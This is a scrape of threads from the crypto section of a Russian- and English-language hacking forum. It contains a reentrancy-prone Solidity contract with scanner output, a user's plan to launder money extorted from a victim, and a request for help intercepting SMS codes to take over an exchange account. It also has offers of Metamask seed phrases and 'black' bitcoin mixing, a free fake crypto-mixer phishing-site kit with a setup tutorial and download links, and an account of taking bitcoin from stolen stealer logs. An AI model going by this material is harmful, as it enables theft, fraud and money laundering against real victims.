Итак, как это исправить?

Чтобы исправить это, нам нужно использовать шаблон проверки взаимодействия.

Что такое паттерн проверки- взаимодействия?

Паттерн проверки взаимодействия относится к различным проверкам, которые необходимо выполнить перед переводом средств на внешний контракт. Таким образом, мы можем предотвратить потерю средств.

Давайте посмотрим на код.

1661795040983.png

В приведенном выше контракте функция вывода имеет определенные проверки, в том числе 1) достаточно ли у пользователя баланса или нет

  1. Изменение состояния выполняется до перевода средств

  2. Использование функции .transfer() вместо .call(). Обратите внимание, что transfer() имеет лимит газа 2300. Таким образом, она предотвратит повторную атаку.

За первые шесть месяцев 2022 года было потеряно в два раза больше денег, чем за весь 2021 год. Чтобы избежать таких взломов, разработчики должны включить в свои смарт-контракты лучшие практики безопасности.

MEV боты
ID: 67686ad7b4103b69df3796e4
Thread ID: 120539
Created: 2024-08-10T18:28:00+0000
Last Post: 2024-08-23T13:01:30+0000
Author: dunkel
Replies: 3 Views: 895

Есть тут у кого был опыт в разработке/использовании mev ботов? Насколько это прибыльно? И еще интересует какие у них уязвимости могут быть? Несколько раз натыкался на статьи/посты на форумах на английском(уже не найду их), где эти боты теряли деньги из за взломов/манипуляций хакеров, но кто и как это делает непонятно.

web3.0 вопрос
ID: 67686ad7b4103b69df37973a
Thread ID: 112970
Created: 2024-04-20T16:16:22+0000
Last Post: 2024-05-02T19:55:35+0000
Author: k1ddddos
Replies: 6 Views: 895

Всем привет! Тут может быть reetrancy ?

Code:Copy to clipboard

function safeTransferFrom(
    address from,
    address to,
    uint256 tokenId,
    bytes memory _data
  ) public override onlyAllowedOperator(from) {
    _transfer(from, to, tokenId);
    require(
      _checkOnERC721Received(from, to, tokenId, _data),
      "ERC721A: transfer to non ERC721Receiver implementer"
    );
  }
Авто-пересылка бтц на другой адрес
ID: 67686ad7b4103b69df3799a4
Thread ID: 61127
Created: 2022-01-10T11:38:04+0000
Last Post: 2022-01-20T18:52:36+0000
Author: rokkkkkko
Replies: 10 Views: 893

Интересует исключительно в целях исследования одной ситуации, потому предложения из разряда "закажи скрипт на фрилансе" не нужны, мне не надо дробить биткоины, а надо лишь разобраться как работает одна из команд :).

Существует некая система которая работает таким образом - есть пул биткоин- адресов, допустим 1000 штук, как только на один из адресов заходит любая сумма BTC - этот адрес автоматически делит эту сумму на две части и шлет на два других адреса, следующие два адреса делают тоже самое - снова дробят поступившие средства на две части, в итоге перевод оседает на 6-10 разных адресах дробленный на части. Я видел такие "цепочки" дробления вплоть до 10 этапов.

Собственно сами вопросы:

1. Может кто знает есть ли готовые онлайн-сервисы или программные кошельки с таким функционалом или нужно писать отдельный скрипт под это?
2. Если писать скрипт и класть его на сервак - нужно ли на серваке оставлять приваткеи от всех кошельков задействованных в этой схеме?

Заранее спасибо за конструктив по теме )

Кошели Monero
ID: 67686ad7b4103b69df379913
Thread ID: 71013
Created: 2022-04-12T16:44:08+0000
Last Post: 2022-08-24T19:05:11+0000
Author: T3atral
Replies: 13 Views: 888

Подскажите надежный Monero кошелёк

Есть ли смысл холдить ETH?
ID: 67686ad7b4103b69df3796b5
Thread ID: 124403
Created: 2024-10-09T02:44:49+0000
Last Post: 2024-10-10T08:39:20+0000
Author: Zabuza
Replies: 6 Views: 886

Когда уже большая часть моего портфолио это BTC. Учитывая что ETH полностью зеркалит движения BTC?

Кодинг пакетных платежей на грани фантастики с помощью Solidity: метод, который необходимо знать
ID: 67686ad7b4103b69df379908
Thread ID: 73063
Created: 2022-09-12T14:56:05+0000
Last Post: 2022-09-12T15:36:15+0000
Author: вавилонец
Prefix: Статья
Replies: 2 Views: 886

1662963410033.png

[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://hackernoon.com/how-to-code-a-fantastic-batch- payment-function-with-solidity-a-must-know-technique)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS плюс немного отсебятины для нашего развития
$10 на gas для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09

Почему вы должны освоить пакетную обработку платежей в Solidity

Solidity — это специальный язык программирования для обработки платежей между учетными записями. Это редкая черта среди языков программирования в Интернете. Solidity была создана с целью управления транзакциями с цифровой валютой Ethereum, устраняя необходимость в посредниках и крупных корпорациях.
С программированием смарт-контрактов Solidity вам не нужен банк или какая-либо женщина из банка для обработки вашего платежа, все ваши платежи будут обрабатываться в сети. Но сам факт того, что Solidity дает вам возможность совершать цифровые транзакции быстрее, безопаснее и в больших масштабах, не означает, что вы можете делать это в совершенстве, не обучаясь.

Пример смарт-контракта пакетной оплаты ​

Я хочу проиллюстрировать это на примере созданного мною смарт-контракта под названием Payroll.

Code:Copy to clipboard

// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;

//создали контракт Payroll в котором: адресс развертывания, толстый кошелек рабовладельцев, общее число рабов, выплата, общая з/п
contract Payroll {
    address public companyAcc;
    uint256 public companyBal;   // в целях безопасности его бы я сделал internal virtual - внутренний с возможностью переопледеления ниже по иерархии
    uint256 public totalWorkers = 0;
    uint256 public totalSalary = 0;
    uint256 public totalPayment = 0;

    mapping(address => bool) isWorker; // является ли адрес рабом



// создания событие "Дать_на_хлеб" - вклячает в себя, порядковый номер раба, адрес кассы выплаты зп, собственно зп, временная метка
    event Paid(
        uint256 id,
        address from,
        uint256 totalSalary,
        uint256 timestamp
    );


// СтруктураВыплат : идентификатор платежа, адрес кошеля раба, пособие на хлеб, время выдачи пособия на хлеб
    struct PaymentStruct {
        uint256 id;
        address worker;
        uint256 salary;
        uint256 timestamp;
    }


//СтректураВыплат объявляется массивом сотрудников
    PaymentStruct[] employees;


// модификатор принадлежности рабовладельцу возвращает тождество принадлежности
    modifier ownerOnly(){     // переменной состояния рабовладельцу, иначе
        require(msg.sender == companyAcc, "Owner reserved only");   // выпишет штрав в 100500 тыс рублей
        _;
    }

    constructor() {
        companyAcc = msg.sender;
    }
// функция поймать раба принимает местонахождения раба и его зп, может вызываться извне контракта рабовладельцем
    function addWorker(
        address worker,
        uint256 salary
    ) external ownerOnly returns (bool) {  // возвращает наличие или отсутствие нового раба
        require(salary > 0 ether, "Salary cannot be zero!");  // проверяет начисление ему зп
        require(!isWorker[worker], "Record already existing!"); // проверяет, не сбежавший ли это раб



        totalWorkers++;  // осуществляем инкрементарное добавление нового раба в книгу рабовладельца
        totalSalary += salary; // начисляем издержки в виде выплаты
        isWorker[worker] = true;

// в массив сотрудников добавляем "единицу СтруктурыВыплат" , содержащую и передающую все параметры
        employees.push(
            PaymentStruct(
                totalWorkers,
                worker,
                salary,
                block.timestamp
            )
        );
      
        return true;
    }

// функция выплаты зп, может быть вызвана только рабовладельцем, не может быть вызвана извнутри контракта
    function payWorkers() payable external ownerOnly returns (bool) {
        require(msg.value >= totalSalary, "Ethers too small");  // проверяет что денег у рабовладельца больше чем общая выплата
        require(totalSalary <= companyBal, "Insufficient balance"); // и на балансе компании тоже больше чем на зп надо

// итерацичный цикл обходящий длинну массива содрудников, при котором каждому сотруднику начисляется его зп
        for(uint i = 0; i < employees.length; i++) {
            payTo(employees[i].worker, employees[i].salary);
        }

        totalPayment++; // увеличение
        companyBal -= msg.value;


// вот и прищел праздник в семьи достопочтенных работяг - реализация события выдачи зп со всеми пологающимися документами
        emit Paid(
            totalPayment,
            companyAcc,
            totalSalary,
            block.timestamp
        );

        return true;
    }


// функция пополнения казны рабовладельцев, осуществляет возможность принятия платежей от сторонних лиц
    function fundCompanyAcc() payable external returns (bool) {
        require(companyAcc != msg.sender, "You can't fund yourself!");
        payTo(companyAcc, msg.value);
        companyBal += msg.value;
        return true;
    }

// создает список работников, ничего не меняет в контракте, выгружает данные из СтруктурыВыплат в memory - "оперативная паять блокчейна"
    function getWorkers() external view returns (PaymentStruct[] memory) {
        return employees; // возвращяет массив сотрудников
    }


// функция реализации выдачи зп / я бы поднял ее на пару обзацев выше, но автор тут не я/ принимает адрес работника и сумму денег
// вызывается исключительно изнутри контракта

    function payTo(address to, uint256 amount) internal returns (bool) {

        (bool success,) = payable(to).call{value: amount}("");  // платежный вызов call на адрес to  в колличестве amount
        require(success, "Payment failed"); // ghjdthrf jib,rb dthytn "успешно" или "Платеж провален"
        return true;
    }
}

Атеншон плииииз​

Обратите внимание, что пакетная обработка платежей — это автономная деятельность, поэтому перед обработкой целесообразно выполнить некоторые проверки. Вот несколько советов, на которые следует обратить внимание.

Проверить данные Убедитесь, что вы проверили правильность данных перед обработкой платежей. Использование необходимых функций и специальных модификаторов, таких как ownerOnly, для обеспечения ввода в систему только точных записей.

Обработать платеж Прежде чем изменять переменные состояния, убедитесь, что вы взимаете плату со счета. Это поможет защититься от повторных атак.

Перекалибровать запись Обновляйте переменные состояния только после выполнения вышеуказанных действий. Например, если злоумышленник намеревается атаковать вашу платежную функцию, отправив несколько запросов одновременно. Он будет вынужден заплатить дважды, и при каждом запросе оплата должна производиться до того, как будут обновлены переменные состояния.
Хоть автор и должен был ручаться что предоставляет для изучения безопасный смарт-контракт, но мы же любим знания и опыт, иначе нахрен мы тут все сегодня собрались.
Открываем любимый терминал ( используем ZIION виртуальную машину, она основана на Ubuntu так что тут все просто) и выполняем:

Code:Copy to clipboard

-->  slither rab.sol

Payroll.payTo(address,uint256) (rab.sol#116-121) has external calls inside a loop: (success) = address(to).call{value: amount}() (rab.sol#118)


Reentrancy in Payroll.fundCompanyAcc() (rab.sol#101-106):
    External calls:
    - payTo(companyAcc,msg.value) (rab.sol#103)
        - (success) = address(to).call{value: amount}() (rab.sol#118)
    State variables written after the call(s):
    - companyBal += msg.value (rab.sol#104)


Pragma version>=0.7.0<0.9.0 (rab.sol#2) is too complex
solc-0.8.14 is not recommended for deployment


Low level call in Payroll.payTo(address,uint256) (rab.sol#116-121):
    - (success) = address(to).call{value: amount}() (rab.sol#118)

rab.sol analyzed (1 contracts with 78 detectors), 5 result(s) found

Что по нашему:

Code:Copy to clipboard

Payroll.payTo(address,uint256) (rab.sol#116-121) имеет внешние вызовы внутри цикла: (success) = address(to).call{value: amount}() (rab.sol#118)


Повторный вход в Payroll.fundCompanyAcc() (rab.sol#101-106):
    Внешние вызовы:
    - payTo(companyAcc,msg.value) (rab.sol#103)
        - (success) = address(to).call{value: amount}() (rab.sol#118)
    Переменные состояния, записанные после вызова(ов):
    - companyBal += msg.value (rab.sol#104)


Pragma version>=0.7.0<0.9.0 (rab.sol#2) 
solc-0.8.14 не рекомендуется для развертывания


Низкоуровневый вызов в Payroll.payTo(address,uint256) (rab.sol#116-121):
    - (success) = address(to).call{value: amount}() (rab.sol#118)

rab.sol проанализировал (1 контракт с 78 детекторами), найдено 5 результатов

Будем аккуратнее используя смарт-контракты, читать их лично перед финансовой сделкой- ОБЯЗАТЕЛЬНО!!!!!

Cryptocurrency laundering
ID: 67686ad7b4103b69df3796f1
Thread ID: 120569
Created: 2024-08-11T10:52:08+0000
Last Post: 2024-08-11T20:30:38+0000
Author: Niteks3
Replies: 8 Views: 884

I'm going to receive a large amount of cryptocurrency from a job I did. I forced the guy to create a Binance account, deposit the amount I asked for, turn it into LTC and send it to me. I created a new wallet at Exodus and will receive the funds later. I haven't sent him the address yet.

If I do the process: He sends me LTC (his Binance) -> LTC (my Exodus) -> I use an Enxanger that doesn't have KYC/AML to turn the LTC into XMR -> I receive the amount in XMR -> I send that XMR to another XMR wallet on another Exodus of mine -> I send it again from that wallet to another XMR wallet on another Exodus of mine -> I use the same Enxanger to send the XMR amount to my main LTC wallet.

It would all work out, right? In the sense that even if there is an in-depth investigation at some point, they won't get anywhere at least on this part of the transaction

Что делать после снятия апи?
ID: 67686ad7b4103b69df379802
Thread ID: 90515
Created: 2023-06-14T16:17:59+0000
Last Post: 2023-08-14T13:03:02+0000
Author: vers
Replies: 16 Views: 884

Есть баланс на coinbase, там 500$, что уже неплохо, как для меня опыт будет впервые, как мне сказали в теме, что трейдить по апи, что сделал, было сложно, а вопрос такой, как мне перехватить номер kx и узнать, в принципе номер владельца, далее узнал номер, как пример, как мне позвонить в биржу или перехватить смс с кодом?

Лояльные биржи с ликвидностью и объемами
ID: 67686ad7b4103b69df379848
Thread ID: 53977
Created: 2021-07-13T22:27:21+0000
Last Post: 2023-06-04T18:53:38+0000
Author: baykal
Replies: 7 Views: 880

Посоветуйте лояльные биржи с хорошей ликвидностью и большими объемами
под разовые операции, прием, обмен, выплаты, не под хранение крипты )
просто чтобы не надоедали с локами и не отжимали деньги

«Dash больше нельзя считать конфиденциальным криптоактивом»
ID: 67686ad7b4103b69df379a64
Thread ID: 42886
Created: 2020-10-05T10:25:19+0000
Last Post: 2020-10-07T12:45:32+0000
Author: INC.
Replies: 1 Views: 880

Согласно заявлению Dash Core Group, криптоактив Dash больше нельзя считать ориентированным на конфиденциальность, хотя в Белой книге проекта изначально он позиционировался именно так.

Директор по маркетингу Dash Core Group Фернандо Гутьеррес (Fernando Gutierrez) прокомментировал текущий статус Dash, касающийся его конфиденциальности. Он сказал:

«Нет, Dash не должен считаться конфиденциальным криптоактивом. Это криптовалюта для платежей, в которой особое внимание уделяется удобству использования: скорости, стоимости транзакций, простоте использования и защите пользователей за счет опциональных настроек конфиденциальности».

Dash – форк Биткоина, появившийся в 2014 году. Первоначально этот актив назывался XCoin, затем Darkcoin, и в итоге получил название Dash. В Белой книге проекта разработчики изначально позиционировали криптовалюту как конфиденциальную:

«Dash – это первая криптовалюта, ориентированная на конфиденциальность, основанная на работе Сатоси Накамото».

Согласно комментарию Гутьерреса, Dash больше не фокусируется на конфиденциальности, хотя разработчики и сохранили функцию PrivateSend, которая дает пользователям возможность повысить конфиденциальность.

«В нашей функции PrivateSend используется технология CoinJoin, которая представляет собой метод усложнения транзакций до такой степени, что аналитическим фирмам становится труднее их анализировать», – пояснил он.

Технология CoinJoin появилась в 2013 году и дала пользователям возможность группировать транзакции, чтобы затруднить их отслеживание. Как пояснил Гутьеррес, разработчики Dash использовали тот же подход, но сделали использование технологии удобней, добавив ее в функцию PrivateSend.

В начале сентября Налоговая служба США (IRS) объявила о запуске конкурса по выбору компаний в сфере блокчейна для разработки инструментов по отслеживанию транзакций анонимной криптовалюты Monero и протоколов второго уровня.

В итоге IRS выбрала Chainalysis и Integra FEC для создания инструментов. Гутьеррес отметил, что Dash Core Group не имеет никакой официальной позиции в отношении политики IRS и отметил:

«Это никоим образом не угрожает Dash. Блокчейн Dash публичный, его не нужно «взламывать», поскольку подход Dash к конфиденциальности вероятностный, а не основан на шифровании. В этом он не отличается от блокчейна Биткоина».

Биржа и подтверждение средств
ID: 67686ad7b4103b69df379a25
Thread ID: 51428
Created: 2021-05-05T16:21:28+0000
Last Post: 2021-05-09T21:52:23+0000
Author: Sneak
Replies: 10 Views: 875

Не имел дел с биржами, как и с криптой. Прошерстил просторы интернета, узнал про KYC/AML. Гадкая штука однако. Сейчас хочу создать аккаунт на одной из бирж, после завести сумму для пробной торговли и возможных рассчётов. Сам аккаунт зарегистрировать на подставное лицо. Ввод средств осуществить через обменник: отдать нал, получить крипту.

Что делать, если крипту посчитают грязной и аккаунт заблокируют? Как подтверждать средства?

Nft площадки
ID: 67686ad7b4103b69df379948
Thread ID: 61472
Created: 2022-01-16T09:20:43+0000
Last Post: 2022-07-01T15:42:28+0000
Author: Konti Bergman
Replies: 14 Views: 872

Всем привет.
кто какие знает мелкие нфт площадки по типу https://singular.rmrk.app
и у какого какой опыт/кейсы были по запуску коллекций?

Проклятие Сатоши.
ID: 67686ad7b4103b69df379956
Thread ID: 67672
Created: 2022-05-26T10:07:42+0000
Last Post: 2022-06-09T14:46:02+0000
Author: Couley Erma
Replies: 23 Views: 872

На дворе конец 2017го.Был холодный зимний вечер и я листал темы на каком то форуме про хацкеров и эти ваши кардинги.То было время,когда с валидных баз почт можно было вытащить копейку,и время когда я еще только начинал работать с логами.В одном из топиков я увидел раздачу логов,был линк на один из файлообменников,почему бы не посмотреть,в ожидании новых строк заняться было нечем.Чтож,сказано-сделано.Скачал,было там не дай аллах соврать гигов под 50,ясное дело паблик говнеца как бы сейчас сказали.Искал я разумеется валидные почты,корпы,логины майкрософта да свои запросы.Конечно все было выдрочено и высушено.Плюнув на это дело я отключил в сердцах фильтр и компуктер потух.Прошел месяц,а может и два и блуждая по просторам жесткого я наткнулся на этот говеный архив.Почему я его не удалил кто ж его знает.Я почувствовал жжение в заднем проходе,мысли стали как будто не мои,я точно знал что нужно распаковать архив и чекнуть на кошельки...Когда архив был распакован,я ввел в корне этого безобразия "coin" и стал ждать.Чтож,не ссд,но дело пошло,посмотрев в свойствах перого найденого запроса путь до нужного лога,я скопипастил его в новое окно проводника и увидел "Electrum".Конечно я был знаком с этим кошельком,дело за малым,скормить файл кошельку и попробовать подобрать пароль.Буквально со второй попытки я увидел ЭТО.1 адрес и 50 бтц на нем.Я не мог поверить своим глазам,курс тогда был что-то около 16-18к если мне не изменяет память.Конечно я сразу засомневался,вдруг еще синхронизация не завершена,но нет все нормально как будто.Я проверил в обозревателе баланс,все верно,монеты на месте.Судорожно открывая браузер и вводя bitaddress.org я уже в мыслях был на Бали в окружении девок разных мастей...Сгенерировав адрес я создал новый кошелек,импортировал приватник и услышал уведомление.Посмотрев на дисплей я увидел что бы вы подумали?Да да,-50 BTC.Я не мог поверить,как так то?Кто-то отправил монеты,а с ними девок и Бали куда то к чертям.
Почему я тогда не подумал про двойную трату я не знаю,быть может и не знал тогда про такую возможность,не помню уже.Могло ведь сработать.В сердцах я пнул системник и компуктер погас.
На следующий день я снова решил посмотреть кошельки,и снова почему то сразу зашел в тот же лог,смотрю папка граббер хм,давайте посмотрим.Открываю,а там текстовик с рабочего стола "private key bitcoin".Чем черт че шутит,смотрю два приватника,один оказался от того злополучного вчерашнего,а что со вторым?Копирую,и слышу как закипел чайник,встал отключил,заварил чай и вернулся на рабочее место.Импорт ключа в электрум,и знаете,то что я увидел мне показалось дурным сном,две транзы в истории,+50 BTC году в 2010 этак,и -50 BTC МИНУТУ НАЗАД.Молча встал и ушел на кухню.Чай вместе с чашкой отправился в полет за окно,и в дело пошел самогон,который дед давал к новому году.
Спустя несколько дней когда все запасы алкоголя были исчерпаны,я включил компуктер и долго еще смотрел на эти адреса и думал какой же я лох,что не проверил сразу эти логи на кошельки,но чего уж поделаешь.
Шли дни,я снова колупал почты и все было как раньше.Те логи потер,конечно проверил досконально,но более ничего не нашел.Мимолетно просматривая новости,я услышал что-то про биткоин кеш.Спасибо гуглу,минута времени и я в курсе что это форк и если у тебя были битки на адресе до форка,значит такое же количества "кеша" будет на нем.Вспомнив что я потер тот уже безсполезный как мне казалось мусор,в истории браузера я нашел адрес который тогда чекал в обозревателе и проверил.Биткоин кеш там был,кто бы не угнал те битки,но про кеш он не знал,а может ему и не нужно это было.Цена была кеша на тот момент была в районе 1.5-2к$,прикинув что это очень даже не дурно я стал искать ту раздачу.Искал долго,упарно,не нашел.Пробовал восстановить удаленный хлам,не вышло,диск был перезаписан на тот момент.Почему то не нашел и кошельки электрума,по идее они должны быть сохранены,но их не было.Наверное это судьба или проклятье,или такое стечение обстоятельств я не знаю,до чего уж все вышло забавно,глупо и нелепо.
Мораль очевидная,всегда досконально проверяйте все до мелочей,не жалейте времени и будьте внимательны,это может хорошо окупиться.
P.S. скорее всего все форки которые есть сейчас там остались,пробовал найти сейчас эти адреса,куда там,история чистилась после того не раз,а техника давно уже новая.

нуждаюсь в анонимном криптообменике, который без регистрации, без AML и KYC.
ID: 67686ad7b4103b69df3796d1
Thread ID: 121886
Created: 2024-09-01T18:09:41+0000
Last Post: 2024-09-14T11:32:16+0000
Author: pavilion13
Replies: 7 Views: 860

Всем привет! Пожалуйста, поделитесь лучшими на ваш взгляд криптообмениками, которые не требуют АМЛ и КYС и чего-то подобного. Нужно свопнуть грязную монету. Заранее спасибо.

Hello everyone! I need an anonymous crypto exchanger that requires no registration, no AML and no KYC. Please share the best crypto exchangers in your opinion that do not require AML and KYS and something like that. I need to swap a dirty coin. Thank you in advance.

новый способ доступа к кошелькам?
ID: 67686ad7b4103b69df379700
Thread ID: 119091
Created: 2024-07-18T00:06:33+0000
Last Post: 2024-07-19T17:22:00+0000
Author: antikrya
Replies: 3 Views: 859

уже не впервый раз вижу что люди скупают логин:пасс любой свежести, и судя по всему где то вводят эти данные и получают доступ к эфиру и эфироподобным сетям.
может кто то знает что это за линк? поделитесь) (ну а вдруг?))
вот один из кошей на который падают монеты

Wallet.dat
ID: 67686ad7b4103b69df379676
Thread ID: 127461
Created: 2024-11-23T14:38:26+0000
Last Post: 2024-12-05T01:05:56+0000
Author: Sistem-kro
Replies: 10 Views: 855

подскажите как расшифровать папку валет.дат?
что используется для расшифровки? буду благодарен за инфу.

Когда действительно стоить чистить крипту?
ID: 67686ad7b4103b69df3796b7
Thread ID: 124253
Created: 2024-10-07T03:21:00+0000
Last Post: 2024-10-09T01:04:04+0000
Author: Zabuza
Replies: 7 Views: 852

Имею два кошелька - ETH и BTC.
Средства принимал из самых разных источников - снимал напрямую с холдеров, что-то мои клиенты оплачивали, что-то с обмеников приходило и тд.
На свою карту не вывожу, обычно только наличные.

Вот думаю стоит ли в такой ситуации отдавать % за чистку и хранить так или забить?

Distribution of Metamask phrases with password under brute
ID: 67686ad7b4103b69df3798da
Thread ID: 78140
Created: 2022-12-15T04:01:43+0000
Last Post: 2022-12-16T22:19:48+0000
Author: root3d
Replies: 20 Views: 847

Do not flood write +.

Bitcoin mixin service
ID: 67686ad7b4103b69df379a73
Thread ID: 40070
Created: 2020-07-27T16:07:05+0000
Last Post: 2020-07-27T16:07:05+0000
Author: DarkSTX
Replies: 0 Views: 845

'Hi im mixing black bitcoins %5 fee
telegram @riveneng

Идеальная схема с поддельными физическими Ledger
ID: 67686ad7b4103b69df379a17
Thread ID: 53079
Created: 2021-06-18T18:24:43+0000
Last Post: 2021-06-19T08:26:12+0000
Author: baykal
Replies: 2 Views: 838

Пользователи аппаратных кошельков Ledger получили по почте новые устройства, которые якобы должны защитить их от последствий утечки, произошедшей летом 2020 года. На самом деле «кошельки» модифицированы хакерами и предназначены для кражи криптовалют. Об этом сообщил участник профильного сообщества на Reddit под ником jjrand.

Устройство упаковано в аутентично выглядящую упаковку и внешне выглядит как Ledger Nano X. К посылке приложено письмо с изобилием грамматических и орфографических ошибок. В нем неизвестные от имени компании сообщили, что «кошелек» отправлен на замену существующему и призван обеспечить безопасность клиентов.

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2Fpackaging- letter.jpeg&hash=a26aba7811ecf3fcb7988b42e65343f0)
Данные: Reddit.

«Мы изменили структуру нашего устройства. Теперь мы гарантируем, что подобное нарушение больше никогда не повторится. Вы должны переключиться на новое устройство», — говорится в письме.

Click to expand...

Пользователи сравнили печатные платы оригинального и полученного в посылке устройства. На фотографиях визуально заметна их разница:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp-content%2Fuploads%2Ffake- ledger-front-pcb.jpeg&hash=85e034a9ce159ba0356fd82d8064621c)
Фейковый аппаратный кошелек Ledger спереди. Данные: Reddit.

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp-content%2Fuploads%2Freal- ledger-front-pcb.jpeg&hash=9abd5d6c999a563a37bea5fd001fd4c1)
Оригинальный аппаратный кошелек Ledger спереди. Данные: Ledger.

Исследователь безопасности Майк Гровер, ознакомившись с фотографиями, пришел к выводу, что злоумышленники добавили к устройству компоненты USB-флешки.

«Похоже, это просто флешка, прикрепленная к Ledger, с целью доставки какого- то вредоносного ПО. Все компоненты находятся на другой стороне, поэтому я не могу подтвердить, что устройство работает только как запоминающее. Но судя по пайке, вероятно, это просто мини-флешка без корпуса», — заявил он.

Click to expand...

Гровер добавил, что имплант флешки оснащен четырьмя проводами, соединенными с аналогичными выводами USB-порта Ledger.

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp-content%2Fuploads%2Fback- pcb.jpeg&hash=b518e33d789db481950f0cf2ee456e10)
Фейковый аппаратный кошелек Ledger сзади. Данные: Reddit.
![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp-content%2Fuploads%2Freal- ledge-back-pcb-1.jpeg&hash=91ee18d4f68a5031ff957db9c3e2fdb9)
Оригинальный аппаратный кошелек Ledger сзади. Данные: Ledger.

К устройству прилагается руководство для его настройки. Пользователю предлагают подключить «Ledger» к своему компьютеру и запустить прилагаемое приложение. После этого программа требует ввести фразу для восстановления Ledger, чтобы якобы импортировать свой кошелек на новое устройство.

Прилагаемые инструкции предлагают получателю посылки подключить Ledger к своему компьютеру, открыть появившийся диск и запустить прилагаемое приложение. Затем необходимо ввести кодовую фразу для восстановления Ledger (используется для генерации закрытого ключа для определенного кошелька) и импортировать кошелек на новое устройство. После ввода фразы она отправляется злоумышленникам, которые используют ее для импорта кошелька жертвы на собственные устройства с целью кражи содержащихся средств в криптовалюте.

Если пользователь введет эту информацию, то хакеры смогут получить доступ к его кошельку и похитить находящиеся на нем криптовалюты.

Представители Ledger заявили, что им известно об этом мошенничестве и в мае они уже предупреждали пользователей о нем.

Компания в очередной раз попросила клиентов использовать ПО только с официального сайта Ledger.com и никому не сообщать фразу для восстановления доступа к кошельку.

Напомним, утечка данных миллиона пользователей Ledger произошла 25 июня 2020 года. Неизвестная сторона получила доступ к электронным адресам, именам, номерам телефонов пользователей.

Fake CryptoMixer website already ready for use FREE
ID: 67686ad7b4103b69df379a1e
Thread ID: 51861
Created: 2021-05-17T19:41:10+0000
Last Post: 2021-05-19T06:47:13+0000
Author: bitwhisk
Replies: 1 Views: 838

We now have enough money to retire, Now it's the novelty of Cryptocurrency with USDC Mixer, USDT Mixer, Tron Mixer, Polkadot Mixer, Ethereum Mixer People send money as the market becomes unstable a lot of user need to mix their cryptocurrency to make them anonymous, You will now be able to make money Simply With Sites Already Prepared For Work free ;-).

Tutorial

  1. You need to buy a domain name regardless of the registry
  2. you need to buy hosting eg cpanel.
  3. Open the file to compress
  4. Modify the crypto address where the victim sends the money also the rest QR then add yours
  5. Add a tag to allow the search engine to find your domain finally index it for example google search.google.com/search-console/, bing https://bing.com/toolbox/webmaster/ on the file INDEX.php at the top of the page
  6. Compress the file then send to the CPANEL to decompress
  7. Add cloudflare to replace your DNS.
  8. Your service is now operational ;), competition becomes rough Don't forget to ads to earn money !.

We provide no other help you are solely responsible

We offer the download free here

USDC Mixer:

[ usdc-mixer.com.zip - BayFiles ](https://bayfiles.com/tcn1Eaw4u7/usdc-

mixer.com_zip)

bayfiles.com bayfiles.com

[ Manage usdc-mixer.com.zip

](https://sql.gg/manage/PY3A8ZsE3JtivPLHRMrJCXPo1HAaYPrH)

Uploaded on 5/17/2021, 6:40:35 PM.

sql.gg sql.gg

USDT Mixer:

[ usdt-mixer.com.zip - BayFiles ](https://bayfiles.com/36naE8wcue/usdt-

mixer.com_zip)

bayfiles.com bayfiles.com

[ Manage usdt-mixer.com.zip ](https://sql.gg/manage/CPoiGEgR-

Ds_ob5HAwO2czTWBzhcveX3)

Uploaded on 5/17/2021, 6:41:31 PM.

sql.gg sql.gg

Polkadot Mixer:

[ polkadot-mixer.zip - BayFiles

](https://bayfiles.com/Z1mdE6w7u7/polkadot-mixer_zip)

bayfiles.com bayfiles.com

[ Manage polkadot-mixer.zip ](https://sql.gg/manage/N1diBpBK0cxeDZhwU-

bEemXXH5xZmO92)

Uploaded on 5/17/2021, 6:39:29 PM.

sql.gg sql.gg

Dai Mixer:
https://bayfiles.com/D7l7E9w8uc/dai-tumbler.com_zip

[ Manage dai-tumbler.com.zip

](https://sql.gg/manage/U9EXPxdgY_xw0AVF9hsGVFH0Qd-o4Y7r)

Uploaded on 5/17/2021, 6:36:16 PM.

sql.gg sql.gg

Tron Mixer:

[ tron-mixer.zip - BayFiles ](https://bayfiles.com/jdn4E4w9ud/tron-

mixer_zip)

bayfiles.com bayfiles.com

[ Manage tron-mixer.zip

](https://sql.gg/manage/v_eWsYuXubUeMTAWcVsky2z-SPUAC-Ap)

Uploaded on 5/17/2021, 6:42:02 PM.

sql.gg sql.gg

Ethereum Mixer:

[ ethereum-tumbler.com.zip - BayFiles

](https://bayfiles.com/r1m7Ebw4uc/ethereum-tumbler.com_zip)

bayfiles.com bayfiles.com

[ Manage ethereum-tumbler.com.zip

](https://sql.gg/manage/IqCvEWtfHWI6MnieZFfRF4L0Hg1wHULm)

Uploaded on 5/17/2021, 6:36:55 PM.

sql.gg sql.gg

Other projects are in progress that I would freely share others for free later

I hope you will like it ;-).

BitWhisk.

Как отрабатывать кошельки с криптой?
ID: 67686ad7b4103b69df3797d1
Thread ID: 99893
Created: 2023-10-12T02:23:43+0000
Last Post: 2023-11-05T16:24:47+0000
Author: Rogue0M
Replies: 8 Views: 835

Добрый вечер, пользователи. Хотел бы узнать, где возможно найти мануалы по отработке крипты, а именно: кошельки, чек разных сетей и так далее.
Возможно, кто-то продает такие знания, то хотелось бы узнать контакты.
Буду признателен, если кто то скинет подробные мануалы.

Приватные каналы с сигналами для проверки гипотезы
ID: 67686ad7b4103b69df37967e
Thread ID: 125387
Created: 2024-10-23T09:41:23+0000
Last Post: 2024-11-30T11:33:48+0000
Author: BigBug
Replies: 5 Views: 834

Добрый день,

С подачи одного из пользователей форума возникла идея проверить гипотезу, которая может потенциально приносить хорошие деньги. Цитата сообщения:

Так-же есть идея для нового бота (может она и не нова, но работает)
Суть идеи: есть много групп, каналов, приваток где люди сидят и ждут сигнала на какую монету влетать
Бот должен перехватывать сигнал с телеги как только он опубликуется и автоматом влетать на биржу одним из первых (на сумму которая в настройках бота)
я вот наблюдаю за такими каналами и там по несколько тысяч человек ждут этого сигнала (это только в одном из таких каналов)
Мы залетаем с плечом в эту монету одни из первых, далее подтягивается все стадо, и я думаю что от наплыва пару тысяч человек цена должна дернутся на пару пунктов
